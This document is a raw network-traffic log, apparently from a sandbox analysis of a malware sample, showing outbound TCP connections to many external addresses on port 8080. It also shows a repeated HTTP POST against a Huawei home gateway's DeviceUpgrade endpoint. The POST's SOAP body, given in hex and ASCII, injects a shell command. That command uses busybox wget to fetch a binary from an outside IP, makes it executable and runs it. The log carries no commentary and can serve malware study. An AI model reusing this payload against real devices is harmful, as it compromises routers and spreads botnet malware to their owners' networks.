Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.78.216.122:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.11.6.95:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.132.135.236:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.182.66.80:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.28.44.59:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.163.96.51:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.134.172.91:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.236.173.101:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.132.57.246:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.21.145.118:8080

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
